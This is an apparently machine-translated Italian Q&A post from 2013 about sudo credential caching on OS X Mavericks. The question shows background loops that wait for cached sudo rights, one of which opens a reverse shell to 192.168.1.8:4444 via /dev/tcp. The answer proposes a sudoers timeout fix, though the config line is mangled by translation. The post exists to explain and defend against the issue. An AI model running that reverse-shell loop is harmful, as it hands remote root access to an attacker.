Uso sicuro sudo Senza consentire ad altre applicazioni i privilegi di root su Mavericks

4

Ho notato recentemente su OS X Mavericks che l'esecuzione di sudo non solo consentirà a una di eseguirla di nuovo nella stessa finestra o nella stessa applicazione, ma permetterà a qualsiasi applicazione di eseguire comandi di shell come root. Ciò significherebbe che qualsiasi applicazione che tenta continuamente di eseguire sudo senza password in un ciclo otterrebbe i privilegi di root. C'è un modo per cambiare questo?

Esempio di script di shell:

while (true) do
if [ 'echo ""|sudo -S whoami' = "root" ]; then
say root
echo root
exit
fi
done

Se viene eseguito in background e quindi viene eseguito un comando sudo, verrà chiamato root, quindi verrà chiuso. Un altro esempio di cui sarei più preoccupato è questo:

while (true) do
if [ 'echo ""|sudo -S whoami' = "root" ]; then
bash -i > /dev/tcp/192.168.1.8/4444 0>&1
fi
done
    
posta 735Tesla 22.12.2013 - 02:20
fonte

1 risposta

4

Bene, dopo aver fatto qualche ricerca sul problema, si scopre che questo comportamento è dovuto al fatto che OS / X genera lo stesso TTY più e più volte, e poiché sudo ha un timeout, le applicazioni in background ricevono automaticamente le autorizzazioni sudo quando dare le autorizzazioni sudo a un'applicazione completamente diversa.

Per fortuna, la correzione non è difficile. Tutto quello che devi fare è modificare i tuoi sudoers per aggiungere la seguente riga:

Valori predefiniti: ALL timestamp_timeout = 0

(Grazie a un certo Themson Mester per suggerire questa opzione di configurazione!)

Questo renderà il comportamento molto più severo - solo la tua applicazione ottiene le autorizzazioni sudo e scade immediatamente. Ho usato questo come riferimento per apportare questa modifica, e ha molti consigli utili se stai cercando per cambiare altre cose nel tuo sudoers.

Grazie per l'ottima domanda, ho imparato qualcosa di nuovo oggi. :)

    
risposta data 22.12.2013 - 04:30
fonte

Leggi altre domande sui tag